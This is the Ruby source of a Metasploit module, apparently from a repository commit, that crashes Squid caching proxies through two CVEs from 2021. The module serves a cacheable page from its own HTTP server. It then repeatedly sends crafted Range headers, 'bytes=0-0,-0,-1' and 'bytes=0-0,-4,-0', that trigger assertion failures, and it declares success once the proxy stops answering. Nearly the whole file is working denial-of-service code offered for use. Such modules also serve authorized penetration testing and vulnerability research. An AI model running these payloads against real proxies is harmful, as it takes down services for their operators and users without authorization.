f0eb43d99f
Co-authored-by: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com>
137 lines
3.9 KiB
Ruby
137 lines
3.9 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Auxiliary
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::Remote::HttpServer
|
|
include Msf::Auxiliary::Dos
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Squid Proxy Range Header DoS',
|
|
'Description' => %q{
|
|
The range handler in The Squid Caching Proxy Server 3.0-4.1.4 and
|
|
5.0.1-5.0.5 suffers from multiple vulnerabilities triggered
|
|
by specific HTTP requests and responses.
|
|
|
|
These vulnerabilities allow remote attackers to cause a
|
|
denial of service through specifically crafted requests.
|
|
},
|
|
'Author' => [
|
|
'Joshua Rogers' # Discoverer, and Metasploit Module
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'Actions' => [
|
|
['DOS', { 'Description' => 'Perform Denial of Service Against The Target' }]
|
|
],
|
|
'DefaultAction' => 'DOS',
|
|
'References' => [
|
|
[ 'CVE', '2021-31806'],
|
|
[ 'CVE', '2021-31807'],
|
|
[ 'URL', 'https://blogs.opera.com/security/2021/10/fuzzing-http-proxies-squid-part-2/']
|
|
],
|
|
'DisclosureDate' => '2021-05-27',
|
|
'Notes' => {
|
|
'Stability' => [ CRASH_SERVICE_DOWN ],
|
|
'Reliability' => [ ],
|
|
'SideEffects' => [ IOC_IN_LOGS ]
|
|
}
|
|
)
|
|
)
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(3128),
|
|
OptInt.new('REQUEST_COUNT', [ true, 'The number of requests to be sent, as well as the number of re-tries to confirm a dead host', 50 ]),
|
|
OptEnum.new('CVE', [
|
|
true, 'CVE to check/exploit', 'CVE-2021-31806',
|
|
['CVE-2021-31806', 'CVE-2021-31807']
|
|
]),
|
|
]
|
|
)
|
|
end
|
|
|
|
def on_request_uri(cli, _request)
|
|
# The Last-Modified response header must be set such that Squid caches the page.
|
|
send_response(cli, '<html></html>', { 'Last-Modified' => 'Mon, 01 Jan 2020 00:00:00 GMT' })
|
|
end
|
|
|
|
def run
|
|
count = 0
|
|
error_count = 0 # The amount of connection errors from the server.
|
|
reqs = datastore['REQUEST_COUNT'] # The maximum amount of requests (with a valid response) to the server.
|
|
|
|
print_status("Sending #{reqs} DoS requests to #{peer}")
|
|
|
|
start_service
|
|
|
|
while reqs > count
|
|
begin
|
|
res = req(datastore['CVE'])
|
|
rescue Errno::ECONNRESET
|
|
res = nil
|
|
end
|
|
|
|
if res && (res.code == 200) && (count == 0)
|
|
count = 1
|
|
print_status("Sent first request to #{rhost}:#{rport}")
|
|
elsif res
|
|
print_status("Sent DoS request #{count} to #{rhost}:#{rport}")
|
|
count += 1
|
|
error_count = 0
|
|
|
|
next # Host could be completely dead, or just waiting for another Squid child.
|
|
elsif count == 0
|
|
print_error('Cannot connect to host.')
|
|
return
|
|
end
|
|
|
|
error_count += 1
|
|
next unless error_count > reqs # If we cannot connect after `res` amount of attempts, assume the DoS was successful.
|
|
|
|
print_good('DoS completely successful.')
|
|
report_vuln(
|
|
host: rhost,
|
|
port: rport,
|
|
name: name,
|
|
refs: references
|
|
)
|
|
return
|
|
end
|
|
print_error('Looks like the host is not vulnerable.')
|
|
end
|
|
|
|
def req(cve)
|
|
case cve
|
|
when 'CVE-2021-31806'
|
|
sploit = cve_2021_31806
|
|
when 'CVE-2021-31807'
|
|
sploit = cve_2021_31807
|
|
end
|
|
|
|
send_request_raw({
|
|
'uri' => get_uri,
|
|
'headers' => {
|
|
'Host' => "#{srvhost_addr}:#{srvport}",
|
|
'Range' => sploit,
|
|
'Cache-Control' => 'public'
|
|
}
|
|
})
|
|
end
|
|
|
|
def cve_2021_31806
|
|
# This will cause Squid to assert with "http->out.offset <= start"
|
|
%(bytes=0-0,-0,-1)
|
|
end
|
|
|
|
def cve_2021_31807
|
|
# This will cause Squid to assert with "!http->range_iter.debt() == !http->range_iter.currentSpec()"
|
|
%(bytes=0-0,-4,-0)
|
|
end
|
|
|
|
end
|